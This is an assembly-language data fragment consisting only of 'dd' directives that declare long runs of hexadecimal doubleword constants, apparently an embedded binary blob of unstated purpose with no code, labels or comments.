dd 0ECA08079h, 0B68907C7h, 329B29CBh, 9040BBB5h, 0AC1D9E54h
dd 0AB80CA68h, 5EF8FA7Ch, 0D4B70E7Bh, 0C79CE92Fh, 10887077h
dd 0BF23207Eh, 462EA100h, 0E5CC619Dh, 997B0142h, 26896DCAh
dd 1A8B6047h, 48A2E700h, 0B6EF3F8Dh, 34C20437h, 0C7B2813Ah
dd 80BAA4C6h, 6CBB5508h, 0C6D6726h, 5A8B7100h, 79101F84h
dd 0A236002Eh, 0D32B5980h, 9E2CAA3Ah, 0DA096004h, 50B40030h
dd 70528Dh, 717D9967h, 0C116DB64h, 0EAB0D4B0h, 7AA56C02h
dd 0A0311143h, 99B102D8h, 24157866h, 8034BFD8h, 0BD452872h
dd 0FD009A8Bh, 0E6883227h, 5892F54Eh, 0DC002080h, 3FCBE14Dh
dd 1C395EC3h, 0B57487BEh, 64D0A7D8h, 710A6869h, 3A983B5Dh
dd 0CD765480h, 6DEA9F9Dh, 0CAA51B00h, 0E5BC8E2Fh, 543F2266h
dd 4C60A700h, 0BE72CC2h, 7B91FEF0h, 0CDF0739h, 0D7103B19h
dd 5D2501EEh, 14AF6027h, 114FF901h, 0A9F4AD76h, 0E1F6DECh
dd 7BB304F3h, 96A01CA3h, 11C06EC6h, 0CF608CE8h, 327C07C4h
dd 0D038CBADh, 0E558BD24h, 71E9D89Fh, 63DD16E9h, 0A8D900FBh
dd 6641ED53h, 0F918E0E4h, 0E368826Fh, 0E69B03E4h, 695219F5h
dd 9C982A93h, 2E5C0FC7h, 920400C5h, 8422A456h, 76F7B65h
dd 49792448h, 0FFAFB371h, 99FDDAD0h, 2ED3F00h, 0E1764D38h
dd 8057122Bh, 3E1900A6h, 506C378Eh, 0AC8F100h, 97FCD83Ah
dd 37A0795h, 50186005h, 85B3D2EFh, 993DBC00h, 8AABE008h
dd 0AA7E166Ah, 0CF500050h, 1C4118C8h, 439B3B09h, 210F8058h
dd 0DDAA73h, 0F59E7BEDh, 0D5997838h, 6E525400h, 428E5AD4h
dd 665B0081h, 0AC04B833h, 7500A3A4h, 8D11AA9Fh, 12A1B1BAh
dd 2032A20Dh, 546B25F8h, 0C2AF9107h, 86A05D9Bh, 3A7CC06h
dd 0EBB72892h, 0AFA147C5h, 952AF042h, 0B9E35400h, 0FC863072h
dd 257D0152h, 70CC68BCh, 0DB2AD4A7h, 0D4CBF200h, 15D2EB04h
dd 18A660EAh, 5243FC6Eh, 23242C00h, 0D4B09877h, 0DFC60190h
dd 0DEEC637Ah, 5A64C08Ch
dd 806AD23Dh, 86B850FFh, 730755h, 0E02E469Dh, 0C18AFB5Bh
dd 0B25C0F1Fh, 0C600282Eh, 0D1525E0Dh, 31CD0360h, 0A3D03837h
dd 0C576E2D8h, 95DE1C00h, 3AAC3480h, 4C9A0FCBh, 738052AEh
dd 0F516A049h, 9B806C90h, 5AF093EDh, 0E488B000h, 339B22B2h
dd 457400E2h, 9D189442h, 6213BA6Fh, 900ECB06h, 0ACDBA16Ch
dd 10205836h, 0EB241C22h, 64100FB6h, 63A0540Fh, 12058177h
dd 744BBA25h, 67013E3Eh, 0D266B668h, 6B2E60E5h, 0CE2F0101h
dd 439717BAh, 3622C8h, 0D0FEC68Fh, 6C0A4A48h, 87B7E73Ah
dd 0C3379CE2h, 0F4797120h, 0AD0F0058h, 68972599h, 18C09335h
dd 0BF846A72h, 0E0616581h, 0F61890AFh, 0D20073D7h, 8027C6C9h
dd 5EE0A2Dh, 60B63499h, 824F09Fh, 6DC8A600h, 5B985229h
dd 985C7710h, 0E9D200F4h, 3CAD781Ch, 31011E71h, 524D7053h
dd 830FBCBh, 20AA0F1Ah, 79804657h, 40EA6B3Eh, 677F4909h
dd 0C4E4E0B7h, 50E3003Ch, 2E79F91h, 5FE0CABCh, 80B5E138h
dd 0B6702887h, 1478A6h, 0A3489FD2h, 49A27D58h, 13A00F0Eh
dd 0CB6F2012h, 0E92CE45h, 0B87BF271h, 2FF0CD00h, 0A7002467h
dd 356B15ACh, 62E21Dh, 2E85059h, 25A395D3h, 3A0FB017h
dd 17D1CC40h, 2E09CA48h, 1CBB237Bh, 221F4Eh, 66DA5502h
dd 0CE0F05ECh, 409E073Ch, 0DE9C7A28h, 0B298A4h, 85376C1Dh
dd 4DE1CD03h, 0D2E7081Dh, 1C225501h, 0B07868B4h, 521D83C0h
dd 0A4164A2Bh, 6C903E84h, 98AADC6Eh, 290F6A4h, 4EFD73CAh
dd 0E9C07DD7h, 0C892F427h, 684C5401h, 0F1876DD8h, 0C169EF24h
dd 7FB1010h, 232FF82Ch, 42835B03h, 994A5624h, 94306AEFh
dd 743F00D0h, 0BC55A771h, 0B4E2C82h, 902D980Bh, 272434C0h
dd 7CA0F228h, 0D0762BCh, 8AE8A42Eh, 3DD48307h, 0F6276F20h
dd 0B97800DFh, 1C2C8D07h, 6000296Ch, 0E3A0669h, 0F0E902C8h
dd 0CAA700E0h, 768E534Ah, 0E4581FF5h, 65B30110h, 56DA84ADh
dd 0E8C3A060h, 0F3063872h, 1A1C500h, 0D390BDB6h, 0FEA55928h
dd 871473F2h, 1FF05621h, 4AC041A0h, 796ECB64h, 39CBA063h
dd 0BF74008Bh, 24FB1448h, 0BCFFAEh, 0BF80BE57h, 0EEF55FE8h
dd 8B00B2A6h, 0A0A5D70Ah, 3F783EBBh, 0DADC5544h, 123A007Bh
dd 0E940A97Ah, 2800A886h, 56DDE052h, 1830198h, 6188DE71h
dd 83693BE7h, 0FB48A828h, 0C081EA21h, 7BCE0AE1h, 20920002h
dd 5F271E94h, 8000CAB3h, 3356C65Bh, 7DDC1FEh, 0DCEC29A0h
dd 7D5E9068h, 1F1C9699h, 0CF004D3Eh, 83DB6A16h, 0F9FA00FCh
dd 0E7099AA0h, 19000B08h, 0D1A14826h, 3E228D84h, 3C809DCCh
dd 8174367Eh, 1900BEC3h, 0B25AA3B1h, 0E52321h, 30F3C0Ch
dd 0AC1481C4h, 0E6A7820Fh, 9AECA0CAh, 0FC9928F5h, 0D4E82Bh
dd 5C59A920h, 7190E785h, 0ED5B4F07h, 5EE049B1h, 7511C921h
dd 88A30036h, 948991F8h, 5302FBFEh, 0BE375BECh, 51E07FA4h
dd 1C006F98h, 0D1A36949h, 0DC9339h, 78ACAE1Ah, 0B9C1CAF6h
dd 46164401h, 5236D6A3h, 7FD3C4h, 0BD575CB1h, 6E4E9B31h
dd 4F490100h, 0CDADA04Ch, 3EF40FB4h, 0E30643Dh, 4058A2C3h
dd 73D6B955h, 391C1FA5h, 657E879Ah, 6D93537Fh, 0DEBB9600h
dd 0A6416163h, 0AD363FAEh, 0A9084501h, 0FC467F3Ah, 0C53BE5C0h
dd 19D20040h, 0F4ACBB73h, 497006Ch, 9CB044C8h, 91607DA4h
dd 0C00E96B0h, 631800CBh, 0DE5950CCh, 5F03ADB4h, 0F2138A65h
dd 12B7A0D5h, 1C800179h, 23D80C7Eh, 6B74E0FFh, 73A1951Eh
dd 9330047Ah, 1C001454h, 551358FBh, 9B99DC07h, 4EAC7Ah
dd 43FE145Ch, 0D8491D08h, 7611E30h, 0D7223D06h, 39EECF0Ch
dd 576568B8h, 5026BF33h, 8C99F04Fh, 29166F2Eh, 0FA1FFE21h
dd 61719412h, 13D00350h, 5883B08h, 0D4162A68h, 0EFA44023h
dd 1C6611BAh, 0ECB2CB1Dh, 0C5D37BC0h, 1D67F1h, 4F8D29D5h
dd 0F6606381h, 8C2E7E00h, 0A88008EAh, 10A600F2h, 180BE122h
dd 56007F6Bh, 2F9CF3BFh, 3C9D3440h, 0B2974A7Bh, 80EC1FC6h
dd 9F5B431Bh, 10001603h, 713E33C9h, 12F821B0h, 63C530h
dd 0B4A834Ah, 7501DCB9h, 170EBFDDh, 0D1D9855Eh, 711FE70h
dd 0BB60F663h, 999610F9h, 0EB0031AAh, 51486FBCh, 3CDF4D4h
dd 0C694D31Dh, 8B80D7ACh, 2A30C0D5h, 0E6BCF9A2h, 3BE667h
dd 8088F331h, 2D444C53h, 0C0D73D1Dh, 0BF3CD6C0h, 859B76h
dd 83CCE33Bh, 384D52C9h, 3222EC1Eh, 0BF172000h, 0B3A284h
dd 105C21C0h, 5E7F7766h, 4D4AD30Fh, 3B96C37Ch, 0CBACD0DEh
dd 591D058Eh, 80440123h, 0D5A0DCE1h, 53687100h, 638A8052h
dd 0C5401B2h, 0C85146D6h, 0E6CAE09Ch, 36A24904h, 22C33ACEh
dd 1CC9291Ah, 0C2EFDF04h, 1D932AD3h, 0C2BBF8h, 2B278E14h
dd 6645A6F1h, 0EB387A71h, 93077A25h, 223FE2D4h, 6F959DC0h
dd 0E630001Dh, 44D634E9h, 7173C1EAh, 0F8D7933Eh, 7E9929C4h
dd 482AF544h, 3A18425Dh, 8A211D24h, 12C91278h, 29211D63h
dd 2B8B0821h, 88720588h, 0C5943766h, 81F00850h, 84B110D5h
dd 9444284h, 2CA3447Fh, 742CD48h, 86502F3Ch, 22518218h
dd 1C221239h, 29116132h, 0CCC6F3CDh, 2000D8C7h, 0E81AFDD7h
dd 58BD23h, 216B819Ah, 0AE93AB70h, 59C5A700h, 0EDECF17Bh
dd 7028773Dh, 188F00A1h, 0CB1C0E1h, 0D2058CA9h, 136DC65Ch
dd 4485A880h, 2307261h, 0D3A4FF28h, 5C600E9Dh, 82016947h
dd 52980F2Ah, 3BE86BA0h, 7A890042h, 2B9C6E63h, 7558C8ADh
dd 0AAA700E0h, 68BFF625h, 81149B0h, 0D53A6300h, 0AB51B38Fh
dd 1600CD7Dh, 0CE663913h, 3CC8920h, 0BA244249h, 5FD8518Dh
dd 29257E4Dh, 885015h, 0CA4911C6h, 0E3C2A20Fh, 0A54CAD17h
dd 96CD4803h, 59880037h, 34DC033Eh, 16005C9Eh, 715F9A2Dh
dd 12F4A3Dh, 0D1C3A730h, 0FB85D8EFh, 7CBF982Ah, 78056300h
dd 0B59EFFC6h, 3AAF3915h, 0F57BEE00h, 296DE552h, 2D030F7Fh
dd 836071E1h, 0B0E0D059h, 0D04900BDh, 0BEE2DC30h, 0FD00E6B9h
dd 7B35EECh, 3363376h, 0A31E15C1h, 0F5B04BF2h, 0A8000BB2h
dd 0DFC7D8D0h, 1CCABA01h, 289657h, 97FE22B8h, 2103D498h
dd 0A1CB8E4Bh, 1E769833h, 9EF207C3h, 0C08C5978h, 4E667767h
dd 1A00D170h, 0ED37BE49h, 8EC7AFh, 0B6E2C220h, 0EEE73A38h
dd 21205370h, 2AA700D0h, 0D3699C8Ch, 1A00DD47h, 2F9D07ECh
dd 7091BFh, 225F7BB5h, 145328B2h, 96F85D1Dh, 40009E52h
dd 1CDB2992h, 1B6A003Fh, 766F49E2h, 5B038FB0h, 15C2C859h
dd 0A29AA84Fh, 33DC00E5h, 0ED40EBE7h, 5DE22935h, 870013FAh
dd 0B1C6471Dh, 0AFA60Eh, 8268B086h, 5329A979h, 80F07C00h
dd 0DCFBE0E2h, 4457D5Bh, 6489FEFDh, 0C034C3D2h, 0A4E76800h
dd 2765E9BFh, 0CD710541h, 0E07B13h, 395EAFB8h, 8C00AE4Fh
dd 833073F0h, 609B26EFh, 76CF20E1h, 9700E7D8h, 79FB5AC9h
dd 205DFD3h, 3B7A49B7h, 3F60E960h, 93005D0Dh, 0CD6B7D89h
dd 1C2F968Ch, 982DCA8Bh, 0BC22385Bh, 0FFCCEF50h, 41B7DF00h
dd 0E73FAB6Dh, 0B1630090h, 0EEC91270h, 3EE05089h, 0B9824404h
dd 1090660Eh, 0F12581Bh, 10CB05A7h, 0F8E7DB00h, 78FA39E5h
dd 5D00A898h, 0F65BA97Fh, 0D4D0C8h, 29340861h, 0B7AE43A2h
dd 9B05D290h, 58E1D991h, 0E06EC20h, 3142A7h, 0B0305181h
dd 7EA65D8h, 9E381766h, 0E3F8C033h, 11003AFAh, 0A26FB248h
dd 0D3C197h, 1901AA34h, 15147058h, 0F81C3D06h, 0F85E0Bh
dd 0DD6C5E4h, 0A7452683h
dd 8706657Ch, 49B4C96Fh, 0F85F0048h, 1A2FEFA2h, 0CB0059DCh
dd 3B43A55Eh, 0A1D506h, 4853B781h, 642018E3h, 0F2D49000h
dd 0EA3E2BD9h, 0ADBD009Ch, 32AB3D3Fh, 934C8D5Eh, 10B0008h
dd 0E7D9CFF4h, 2372004Dh, 0FEE238EAh, 1092A3FAh, 5266F203h
dd 0EE642DAFh, 0AE8F0280h, 0BBFCA312h, 0E6203C44h, 0D35903CCh
dd 28D9CA0h, 7DC56007h, 0A9B02A6Fh, 26D0AE6Dh, 3422F8h
dd 2D5EDFE0h, 0E8308DEAh, 5A2E308Ch, 50E93A03h, 27D3E780h
dd 5814FB23h, 4BC4CF5Eh, 39BC8491h, 0AD510610h, 0F503F090h
dd 0EF1A7D2Fh, 9A60006Ch, 8FEDCFE9h, 71405B47h, 569300F4h
dd 7ECE7D9Ch, 0CD59A6EEh, 0C1E706B4h, 76044BBh, 25B1BEF8h
dd 0F475D0AFh, 5B7BD08Fh, 0F6023F00h, 0B364937Fh, 247D0F35h
dd 0E22044DBh, 0C32980BCh, 7EF66E12h, 7D96E700h, 16A557h
dd 2FE3173Eh, 4D912CCEh, 31859003h, 989B40E6h, 2E3D9Dh
dd 489F6BA8h, 6A23C775h, 801F6C39h, 0ECD24B3Fh, 579293h
dd 0D7157382h, 1755B321h, 31F2620Eh, 96FE0030h, 0E53CD2h
dd 0DBBC0950h, 0EB203242h, 0DE181673h, 61E8C8D5h, 4E460F75h
dd 56405847h, 0A3689928h, 0ED03D48h, 40A2F0E2h, 272E132Bh
dd 0F9440046h, 0C46D6C5Ch, 2100D89Bh, 61990C80h, 8D2E4Ah
dd 5D060B0Fh, 9B95EDC6h, 44A52800h, 526091ADh, 50FF24E3h
dd 5F230070h, 0CF262AC6h, 0C18298A0h, 6B132C00h, 0C8625737h
dd 497998h, 29563470h, 0A1B346FFh, 4CB27300h, 0F739360Dh
dd 343F3C85h, 5101007Bh, 594EE5D2h, 870B9890h, 5B5644h
dd 0F5709304h, 3243021Eh, 0D2F269A5h, 0ABC9CB60h, 916B5C02h
dd 0C0AAFC98h, 6A7D1Ch, 6338EC21h, 0DB9BC7D3h, 3F269505h
dd 79C7DED9h, 0CBF3CAB0h, 0C2A103D7h, 74A9B89Fh, 453C087h
dd 4E3A7517h, 2D3883F2h, 0A032BCE8h, 0DA3791h, 0EE7C1F20h
dd 3DBA06EDh, 1D00B9FCh, 744007FDh, 33AB8h, 0ED8578C7h
dd 8BC2B2DCh, 4D294F00h, 0DAEBF540h, 0D7CE0082h, 613DE9B3h
dd 0A2712D50h, 184F0F00h, 0E5D87454h, 0E38501C6h, 6356DD22h
dd 0AE53F441h, 47911B12h, 0F106F00h, 5D0AF2Bh, 9EBFEB62h
dd 0F536C0FDh, 0D800ACCCh, 5C5D976Ah, 0F210D47Fh, 0C63100D7h
dd 0D95E1619h, 1A1E531Dh, 45C0AABFh, 760381E2h, 1FB604ADh
dd 0C032AE99h, 0C12A1024h, 5265E800h, 2671FC7Dh, 0FF7F0038h
dd 0E3BCA3C6h, 0DC0028EDh, 0AB0AA451h, 732E92h, 498C99B5h
dd 0F09ED882h, 328F8503h, 61CB35h, 2CD01F66h, 0E3A74D7Dh
dd 80C78D1Ch, 0AE47F840h, 3EDCE00Ch, 0BB00F087h, 3B0D64D4h
dd 18243354h, 7A1D1DC8h, 3482A51Dh, 405DAD9Dh, 7D7584D1h
dd 113C60EAh, 9A088711h, 74CE2100h, 0E0DF2815h, 0ABB00Fh
dd 0CA5FC747h, 453B54ABh, 49042F00h, 0F1A352FCh, 9A91007Ah
dd 9F31035Ch, 9E074D97h, 0BE3BF6F2h, 5013839Fh, 45DDB82Fh
dd 30E900A4h, 1F94FA7Fh, 3D007A8Ah, 68F762A0h, 9084E42h
dd 0F8923AD4h, 50D11400h, 91003C0Dh, 0AC84F49Bh, 0C3B7CEh
dd 9811496Ch, 0EBDF5626h, 9C721E00h, 0DE6EC7F1h, 381A019Eh
dd 0F4555915h, 0C39DFC39h, 48149304h, 3100DB87h, 9A061B57h
dd 0AA35AE02h, 0C0ACFC3Ah, 0E248D116h, 2908000Ch, 741CADC5h
dd 0FA00BEF1h, 0A265826Fh, 9060D8ECh, 0C0C52A2Fh, 0EAB20788h
dd 337CEFADh, 30CFDE1Bh, 55825862h, 519A11Fh, 0DFABBA80h
dd 0E4B878C3h, 2148C0DEh, 0B08044F4h, 0BD17D700h, 83FD65BCh
dd 8DCB1F1Fh, 84E8ACh, 0F7A544F2h, 7B3E8A2Ah, 0BB5E3B0Eh
dd 0F67927BEh, 0D621DE20h, 41A46086h, 2F042084h, 875FFF00h
dd 0AA51CC93h, 0E7910319h, 310FED06h, 0BB3C35E0h, 0D9086C00h
dd 9D72307h, 0BE4A1D03h, 9AD6CFE2h, 0DC477080h, 0E638C472h
dd 0CD7A00A1h, 75B82244h, 0CB1800B4h, 9B377985h, 55001D8Fh
dd 24016FE6h, 5D6461h, 6E728DBAh, 0A7D221B5h, 8062903Ah
dd 0B49325F2h, 0B1373Ch, 6E700FA9h, 46DF89B8h, 9868D301h
dd 59942027h, 66E0D8h, 8CD42A55h, 0CBCBBCBh, 6DF531Dh
dd 41292CC0h, 2B69D75h, 7C45942Ah, 33C06A17h, 0DC0019D5h
dd 0DF419F13h, 4B988h, 0DAE0D225h, 0CB2CFC7Ah, 6C2FA703h
dd 8791FE0Ch, 9057B300h, 3611004Eh, 0C799D46Fh, 7B00BC94h
dd 149C3CD9h, 16BD4A26h, 0FCCE8Bh, 17A2C8B9h, 0BF00C6E1h
dd 0D9194D2h, 0C2D0C9h, 5F42601Ch, 0B2842319h, 0CD01CE98h
dd 4474AC81h, 0A0D8D36Ch, 0BC7D3A34h, 7A186501h, 0C87F0BC4h
dd 0F13C6B5Ah, 80DD8062h, 0C0A829B7h, 94683B77h, 3F4EAE83h
dd 0E2A0DFE9h, 0F412C378h, 30013B0Fh, 6D1E3C8Ah, 0C06460C2h
dd 999A38DEh, 7AF7EC7Ah, 0A8024F5Ah, 0A1EB007Eh, 78FA93F6h
dd 0B9ECB2h, 654C764Dh, 240D37AAh, 0F173B302h, 60B1AF14h
dd 0E8B80F80h, 8CEE33A7h, 0C28BDFD6h, 63340CB8h, 7100B498h
dd 6E37B365h, 7E77045Ch, 804F05B1h, 0C0D37BE1h, 5F6DB5CCh
dd 0BB51AE00h, 477A73ADh, 2C150457h, 9027D9A0h, 814F6D64h
dd 6611DC0Fh, 0D10B8056h, 120E643Ah, 0FA6CCCDh, 0A92002A4h
dd 0EF094527h, 80D6E600h, 0DACBA52Fh, 0B14C0066h, 7C0DB894h
dd 0BF00221Bh, 0FCE020D8h, 355D79h, 7AB10548h, 24F1C57Dh
dd 46AAF200h, 5B8F1073h, 6A7E004Fh, 7225E3BEh, 0E90024CDh
dd 615911Ch, 2FFA13Dh, 0D0DE6A86h, 0E440BDDFh, 6E001FFAh
dd 85C5A6DBh, 0D9B115h, 356DFF06h, 9707BEA4h, 193A6098h
dd 0E2A98027h, 0FFA351B2h, 0C5ED06DAh, 0D89BAE2Ch, 134B062Eh
dd 7A4E0F3Bh, 18A10C4Fh, 48D6493Eh, 6FA85B0Eh, 0F03F58C7h
dd 1D0F4417h, 200045F6h, 94EB0D95h, 3A4A9h, 0D821FE69h
dd 4E2BEE0Ch, 0CF2DAF00h, 1EC2DE81h, 7A71008Ah, 5545C7D0h
dd 6C021B31h, 0BBFE08D8h, 7F904119h, 34E25ECh, 0FFAB0D93h
dd 50F77542h, 0FC8F5112h, 0F73F70Ch, 34D0626h, 9843A14Ch
dd 0EDF8A26Fh, 0B660023Dh, 0E16691E1h, 20FB003Ch, 2B8D734Eh
dd 4000616Bh, 2D0DD4ABh, 4B9572h, 6F92B109h, 82D253E7h
dd 6E24D124h, 2C78A0Fh, 875068FAh, 8E8058F2h, 53179EBh
dd 1056DA75h, 29000D3h, 0B7B0B4F6h, 613C9600h, 8FF1EB5Ch
dd 0A4D050E0h, 0EEE0076h, 0C3DD89D3h, 0B400CA82h, 851F4204h
dd 255F841h, 0F1E99B48h, 64404FEFh, 9D001DD3h, 0E4C111A5h
dd 3C156661h, 28822119h, 756AFE7Eh, 63871C40h, 0F02A4A41h
dd 600A8D4h, 6796E572h, 1426268h, 61F5B88Bh, 0C86CAF51h
dd 2EE273D5h, 0D0A63600h, 9D642F4Ch, 0A2630040h, 0F86654FFh
dd 18C03887h, 0D21FEFB6h, 83F202A1h, 5547C71Ch, 33FDB940h
dd 82AA2F00h, 24A06987h, 5610049h, 0BC20A4A2h, 0B0000454h
dd 0C5B3DE2Ah, 2C8A42AAh, 4C769Eh, 0AB380E6Bh, 0CF16CBCEh
dd 381E07A2h, 8D180038h, 26CD179h, 0F8760077h, 2C53BD66h
dd 0D4067097h, 0E0E8850Fh, 0C57A2630h, 30C10FD5h, 0C0408245h
dd 47EB16C9h, 0AD6AD106h, 581DD2h, 3D4BAC7Ah, 103F0DAFh
dd 0C94A9B00h, 67B0CD51h, 0F21B00E9h, 0DB772891h, 0EC9A86DAh
dd 1192433Fh, 0C60007C0h, 63E395FDh, 0FE4C84EFh, 9F891650h
dd 0DF2704EFh, 5481AAC1h, 0D86445E1h, 8BEC40h, 0F286F13Ch
dd 95841709h, 4E9A1C00h, 295A3E15h, 0E0C21F99h, 6AAE89Dh
dd 0A15DB023h, 0AD0740A5h, 6E5B6908h, 0C0EE7392h, 73098AF4h
dd 1D6C0116h, 0C74004CDh, 0F5A050ECh, 0E892E270h, 25105D18h
dd 0F28F3A19h, 0E0805422h
dd 0B7AF80BCh, 1BB30700h, 16625DD0h, 88A25C9Ch, 0AB26B07h
dd 0E82DF0F6h, 26136684h, 0A80FCF6Eh, 5C03E7BFh, 35399A60h
dd 68240077h, 0D7A573F1h, 9B015150h, 0F7980B97h, 2FCC458Fh
dd 0FD88C903h, 0C1478491h, 0C387D8B4h, 0B0380700h, 17119ADh
dd 118F004Bh, 2CB5808Eh, 7209C29Ah, 40296465h, 1BF6DBCh
dd 588FCFE2h, 70D2E915h, 0A37CC5ACh, 13C029E9h, 9D0016A8h
dd 4A86259Ch, 0DAB50EF7h, 0D9607F8Eh, 1473678Bh, 6300D87Ah
dd 36843768h, 0FA227134h, 48E2DEh, 1B6A727h, 5013AAB4h
dd 0D3FE8A01h, 92390A65h, 14D6AA60h, 0B01AA2F9h, 481E7221h
dd 0F3073C6Ch, 1880629Fh, 0B29E1EA6h, 1471D8h, 298D6589h
dd 0CF235AA0h, 0D1031673h, 948C66EFh, 2FE1EF3Bh, 5AE59256h
dd 8414860h, 0A5E146F6h, 35AD3C02h, 66FA2054h, 3D00E07Ah
dd 4E1E5621h, 4BDDE8E4h, 3F5C4083h, 76E5666Fh, 10186A00h
dd 0D1542997h, 77E670D5h, 40090B7Dh, 6381693Dh, 307E2A42h
dd 2800A32Ch, 4DD2C9C5h, 0A7D1DFh, 775C04FDh, 0EB0C53A0h
dd 5E190100h, 336421B3h, 50570B51h, 4480CA98h, 6BE5D5A1h
dd 0C8B17003h, 0B07C7BABh, 65C48EEh, 1F082F30h, 0C20974FCh
dd 816B61F1h, 5A3C4B9Eh, 5CDEA20h, 26C74D6Ah, 670080CFh
dd 0EC2C3D10h, 0E802F889h, 403BD7D5h, 0FC96D648h, 0D750BF1h
dd 1C00B526h, 0CE03C431h, 7E9813Fh, 9757AC8Eh, 20877BF5h
dd 0D3AA0D0h, 605200A3h, 11395558h, 0E53CEF37h, 0EA8C0081h
dd 0E07FF9B2h, 15021886h, 5F4386Ch, 541A6D00h, 0F0B5189Bh
dd 0D7630E2Ch, 39CF0809h, 0E51047F6h, 7033F160h, 0D02460CCh
dd 1407FE24h, 0FA704618h, 4CA11E8Bh, 78EE873Ch, 1374907Bh
dd 0B607D7ADh, 9FC394BDh, 4E2A2BE0h, 0B58E0978h, 4890912Dh
dd 0A90F5203h, 0E9AE2E7Fh, 554483A8h, 2902E42Bh, 40688353h
dd 16009386h, 0A5DEA9E3h, 4D19459Bh, 0D203244Eh, 2491878Ah
dd 5A8BF800h, 0BA1C1416h, 0FC40B063h, 0BCC81F17h, 0F00AE0Ah
dd 121B0Ch, 0F3EA8988h, 0E306A42Ch, 0C79ECEDEh, 0E8EC0018h
dd 0FD225E5h, 4313AEF1h, 0E10061C0h, 7D8E35E2h, 4F220308h
dd 3DAD0572h, 4CB7C2F8h, 99592B09h, 455CA770h, 0F0A89020h
dd 80FCB99Dh, 0C2D593C8h, 80066CFh, 3D53C175h, 5CECF762h
dd 0B6015331h, 59172B51h, 664880AAh, 0D1AE9A07h, 2D301E34h
dd 3661C002h, 4E589BC0h, 0E613FD07h, 92664743h, 0A4F51FA4h
dd 90540060h, 10500138h, 0A61E4AB0h, 74E4C737h, 0DD2FF600h
dd 0E2D8EA19h, 0A38400E3h, 912EE59h, 40C0B3D9h, 46B41C20h
dd 0E90430FAh, 14759628h, 0B5D6A812h, 8082DD09h, 0D41607CAh
dd 1EC2F6F5h, 7FD813D3h, 0C0FDC59Eh, 0E77C6C75h, 9400ABD2h
dd 1368F174h, 1EB3CACFh, 811C4105h, 12067246h, 93EBC4E3h
dd 190A2312h, 13A23409h, 0E9701628h, 55704016h, 0A3813238h
dd 0CF595A00h, 155E23EFh, 50D2004Bh, 591F9DAh, 3894C53Fh
dd 0FA5BFD80h, 90A50CAAh, 4AE10934h, 1CC5AF7Fh, 54408B12h
dd 39220342h, 642000ABh, 5E409908h, 8F261C1Ah, 0BD609469h
dd 0F36DC7h, 5FEC7E86h, 92BE994Ah, 0D5522700h, 8587B7F1h
dd 0FC3900D3h, 0BAEF348Ah, 497D4201h, 0A6B9F0A3h, 1DBC6033h
dd 80588D7Bh, 0E0A119B6h, 18F4D378h, 7B7C002Eh, 0E66DEF4Dh
dd 0B0D0C7CCh, 49050FD8h, 40A66F56h, 5F3C5411h, 788A48F3h
dd 6F00673Ch, 2758911Fh, 49001D9Dh, 0A835978Fh, 3B28AAh
dd 0B67A8762h, 0DE79F89Fh, 0C456BE00h, 623B8D7h, 9C3504A8h
dd 805E4DBBh, 306467BCh, 1BF7A902h, 0E9A76619h, 283D6560h
dd 1214414Ah, 9AF5F9Bh, 7C29034h, 524D5825h, 96E6A032h
dd 0BA0181EBh, 8EC5A7D3h, 0BE306811h, 0B02C7AFCh, 9BCD0588h
dd 0C0A407E7h, 1D75457Ch, 0FB9D2D1Fh, 60B62CCFh, 0C3013B11h
dd 0C9F295Bh, 7A483FA4h, 0EC032Ah, 0B44A6362h, 0E19DE366h
dd 220A3Bh, 6554C4D4h, 1211A43h, 25911BABh, 0F8BD2BF0h
dd 0FB124A51h, 0B80001A9h, 17C4E062h, 11B06713h, 80B5957Dh
dd 9831E154h, 0C9A6D112h, 0A035920Eh, 524AF194h, 0ABF4F90Fh
dd 9CBA0083h, 69E9E1F4h, 950798EBh, 7467F81Dh, 3F5E90E0h
dd 0B7750082h, 864BC1C4h, 0B80E8FC2h, 0E07CA716h, 7E814FBCh
dd 0DDDCA075h, 0D16A2EF6h, 169100F0h, 8EECC527h, 9900D074h
dd 0E4B5AACBh, 38070A52h, 0C300A0A5h, 3574B086h, 0EE0F2AE3h
dd 6B9C5659h, 0B67E80F5h, 0C49DF3h, 0E45B5899h, 8B94810Dh
dd 7B408A00h, 76A214BFh, 0C5220F7Dh, 9B8002C8h, 9B5F31Fh
dd 78C71B26h, 7EFB7A80h, 20592h, 5C9614BEh, 311E8B79h
dd 6CA4FF00h, 3CA3A707h, 0EEBCB034h, 94C1CD2h, 0B329C0C9h
dd 0FA1665D8h, 0B10ACD70h, 14BBE2D9h, 0C0E84F0Fh, 0EBB0F645h
dd 0B1B912A4h, 4007162Dh, 1819DF5Ch, 500776FDh, 0FAB32AA3h
dd 38F373B1h, 0EA782087h, 0E62281C6h, 32109EB7h, 1B1DFD03h
dd 9997F06Ah, 0F72B3F81h, 0E52CC180h, 0C9BCD05Eh, 8638F403h
dd 810C51A3h, 58E0A0B8h, 8CC100CDh, 42CABD92h, 9912A35Eh
dd 0E8405763h, 0DE4CC5F9h, 0B913009Fh, 1AA3E7B8h, 0A000D2ACh
dd 0F673373Eh, 1EA7DBFFh, 419BBFC0h, 2B86B1C6h, 87684036h
dd 0AA3F5766h, 6EEF18E2h, 1678FEC0h, 806D2427h, 4760AB6Ch
dd 4DC0A354h, 0A200AE76h, 0FA15D30h, 0F8761CBAh, 80740096h
dd 737FFF82h, 89003F27h, 0AED00913h, 170334h, 91D6F4AFh
dd 53F3DFDBh, 6B5D3Ah, 923DB8BAh, 0CC0635h, 70976FBEh
dd 43ABBFCh, 0D2FF6903h, 0A832D589h, 60541E5Bh, 2DAB6C6Dh
dd 0CA00581Ch, 0CF9D1375h, 101345Eh, 0BF63F9F4h, 0C09095F3h
dd 2E17AF69h, 1400DBB5h, 398DA1A6h, 0FE6C0F80h, 0FF40407Bh
dd 0F49A6732h, 6808BC59h, 745504E8h, 98007B98h, 93D35071h
dd 0D1890Bh, 1BFE77A5h, 10CADEC3h, 5BFA5A07h, 548398BDh
dd 0A0DCC312h, 3E71AF15h, 7F3DAA65h, 7393E603h, 4C90D757h
dd 0FB0FD64Eh, 9DB95574h, 0B7D06103h, 0A5ADF0E7h, 0F5D31FFDh
dd 6500098h, 0A459E295h, 0C000F9F0h, 73DEF3D4h, 1AB04F0h
dd 0DCC22362h, 0BF69E0D8h, 0A49B1FB8h, 332F38C0h, 5BA0C57h
dd 0C7ECFA74h, 92C5C1A9h, 0BC288845h, 9FA790A5h, 3F21EF51h
dd 90AFB108h, 90E2C8ABh, 0A062840Bh, 0A942FF48h, 212724E5h
dd 6312052Bh, 40FAC110h, 228473C8h, 174237BBh, 21FDD911h
